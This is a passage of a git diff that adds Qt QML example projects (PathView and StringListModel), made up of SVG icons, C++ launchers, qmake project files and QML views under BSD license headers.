+ style="opacity:1;color:#000000;fill:#3465a4;fill-opacity:1;fill-rule:nonzero;stroke:#757575;stroke-width:0.9999994;stroke-linecap:butt;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible"
+ id="rect3263"
+ width="10.001333"
+ height="9.9624557"
+ x="26.507767"
+ y="28.514256"
+ rx="0.38128215"
+ ry="0.38128215" /><path
+ style="opacity:0.39772728;color:#000000;fill:url(#radialGradient2374);fill-opacity:1;fill-rule:nonzero;stroke:none;stroke-width:0.99999958;stroke-linecap:butt;stroke-linejoin:miter;marker:none;marker-start:none;marker-mid:none;marker-end:none;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;visibility:visible;display:inline;overflow:visible"
+ d="M 27.107118,34.408261 C 30.725101,34.739438 32.634842,32.962557 35.97527,32.855521 L 36,29.00603 L 27.088388,29 L 27.107118,34.408261 z "
+ id="rect2363"
+ sodipodi:nodetypes="ccccc" /></svg> \ No newline at end of file
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/pics/shadow.png b/examples/declarative/modelviews/parallax/qml/parallax/pics/shadow.png
new file mode 100644
index 00000000..8270565e
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/pics/shadow.png
Binary files differ
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/pics/yast-joystick.png b/examples/declarative/modelviews/parallax/qml/parallax/pics/yast-joystick.png
new file mode 100644
index 00000000..858cea03
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/pics/yast-joystick.png
Binary files differ
diff --git a/examples/declarative/modelviews/parallax/qml/parallax/pics/yast-wol.png b/examples/declarative/modelviews/parallax/qml/parallax/pics/yast-wol.png
new file mode 100644
index 00000000..7712180a
--- /dev/null
+++ b/examples/declarative/modelviews/parallax/qml/parallax/pics/yast-wol.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/main.cpp b/examples/declarative/modelviews/pathview/main.cpp
new file mode 100644
index 00000000..7b466854
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/pathview-example/pathview-example.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/pathview/pathview.png b/examples/declarative/modelviews/pathview/pathview.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/pathview.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/pathview.pro b/examples/declarative/modelviews/pathview/pathview.pro
new file mode 100644
index 00000000..83bae6da
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/pathview.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/pathview-example
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE51EA833
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/pathview-example
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/pathview/pathview.qmlproject b/examples/declarative/modelviews/pathview/pathview.qmlproject
new file mode 100644
index 00000000..71c8cb3c
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/pathview.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/pathview-example"
+ }
+ JavaScriptFiles {
+ directory: "qml/pathview-example"
+ }
+ ImageFiles {
+ directory: "qml/pathview-example"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/pathview/pathview.svg b/examples/declarative/modelviews/pathview/pathview.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/pathview.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pathview-example.qml b/examples/declarative/modelviews/pathview/qml/pathview-example/pathview-example.qml
new file mode 100644
index 00000000..7d36ddaf
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pathview-example.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 240
+ color: "white"
+
+ ListModel {
+ id: appModel
+ ListElement { name: "Music"; icon: "pics/AudioPlayer_48.png" }
+ ListElement { name: "Movies"; icon: "pics/VideoPlayer_48.png" }
+ ListElement { name: "Camera"; icon: "pics/Camera_48.png" }
+ ListElement { name: "Calendar"; icon: "pics/DateBook_48.png" }
+ ListElement { name: "Messaging"; icon: "pics/EMail_48.png" }
+ ListElement { name: "Todo List"; icon: "pics/TodoList_48.png" }
+ ListElement { name: "Contacts"; icon: "pics/AddressBook_48.png" }
+ }
+
+ Component {
+ id: appDelegate
+ Item {
+ width: 100; height: 100
+ scale: PathView.iconScale
+
+ Image {
+ id: myIcon
+ y: 20; anchors.horizontalCenter: parent.horizontalCenter
+ source: icon
+ smooth: true
+ }
+ Text {
+ anchors { top: myIcon.bottom; horizontalCenter: parent.horizontalCenter }
+ text: name
+ smooth: true
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: view.currentIndex = index
+ }
+ }
+ }
+
+ Component {
+ id: appHighlight
+ Rectangle { width: 80; height: 80; color: "lightsteelblue" }
+ }
+
+ PathView {
+ Keys.onRightPressed: if (!moving) { incrementCurrentIndex(); console.log(moving) }
+ Keys.onLeftPressed: if (!moving) decrementCurrentIndex()
+ id: view
+ anchors.fill: parent
+ highlight: appHighlight
+ preferredHighlightBegin: 0.5
+ preferredHighlightEnd: 0.5
+ focus: true
+ model: appModel
+ delegate: appDelegate
+ path: Path {
+ startX: 10
+ startY: 50
+ PathAttribute { name: "iconScale"; value: 0.5 }
+ PathQuad { x: 200; y: 150; controlX: 50; controlY: 200 }
+ PathAttribute { name: "iconScale"; value: 1.0 }
+ PathQuad { x: 390; y: 50; controlX: 350; controlY: 200 }
+ PathAttribute { name: "iconScale"; value: 0.5 }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pics/AddressBook_48.png b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/AddressBook_48.png
new file mode 100644
index 00000000..1ab7c8ee
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/AddressBook_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pics/AudioPlayer_48.png b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/AudioPlayer_48.png
new file mode 100644
index 00000000..f4b8689f
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/AudioPlayer_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pics/Camera_48.png b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/Camera_48.png
new file mode 100644
index 00000000..c76b5249
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/Camera_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pics/DateBook_48.png b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/DateBook_48.png
new file mode 100644
index 00000000..58f5787f
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/DateBook_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pics/EMail_48.png b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/EMail_48.png
new file mode 100644
index 00000000..d6d84a61
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/EMail_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pics/TodoList_48.png b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/TodoList_48.png
new file mode 100644
index 00000000..0988448d
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/TodoList_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/pathview/qml/pathview-example/pics/VideoPlayer_48.png b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/VideoPlayer_48.png
new file mode 100644
index 00000000..52638c50
--- /dev/null
+++ b/examples/declarative/modelviews/pathview/qml/pathview-example/pics/VideoPlayer_48.png
Binary files differ
diff --git a/examples/declarative/modelviews/stringlistmodel/main.cpp b/examples/declarative/modelviews/stringlistmodel/main.cpp
new file mode 100644
index 00000000..c88d1ba0
--- /dev/null
+++ b/examples/declarative/modelviews/stringlistmodel/main.cpp
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the demonstration applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QApplication>
+#include <qdeclarativecontext.h>
+
+/*
+ This example illustrates exposing a QStringList as a
+ model in QML
+*/
+
+int main(int argc, char ** argv)
+{
+ QApplication app(argc, argv);
+ QmlApplicationViewer viewer;
+
+//![0]
+ QStringList dataList;
+ dataList.append("Item 1");
+ dataList.append("Item 2");
+ dataList.append("Item 3");
+ dataList.append("Item 4");
+
+ QDeclarativeContext *ctxt = viewer.rootContext();
+ ctxt->setContextProperty("myModel", QVariant::fromValue(dataList));
+//![0]
+
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/stringlistmodel/view.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
+
diff --git a/examples/declarative/modelviews/stringlistmodel/qml/stringlistmodel/view.qml b/examples/declarative/modelviews/stringlistmodel/qml/stringlistmodel/view.qml
new file mode 100644
index 00000000..29da59d7
--- /dev/null
+++ b/examples/declarative/modelviews/stringlistmodel/qml/stringlistmodel/view.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+//![0]
+
+ListView {
+ width: 100; height: 100
+ anchors.fill: parent
+
+ model: myModel
+ delegate: Rectangle {
+ height: 25
+ width: 100
+ Text { text: modelData }
+ }
+}
+//![0]
diff --git a/examples/declarative/modelviews/stringlistmodel/stringlistmodel.pro b/examples/declarative/modelviews/stringlistmodel/stringlistmodel.pro
new file mode 100644
index 00000000..b6c7e229
--- /dev/null
+++ b/examples/declarative/modelviews/stringlistmodel/stringlistmodel.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/stringlistmodel
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE1CB8EBB
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/stringlistmodel
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/visualitemmodel/main.cpp b/examples/declarative/modelviews/visualitemmodel/main.cpp
new file mode 100644
index 00000000..6bcb474a
--- /dev/null
+++ b/examples/declarative/modelviews/visualitemmodel/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
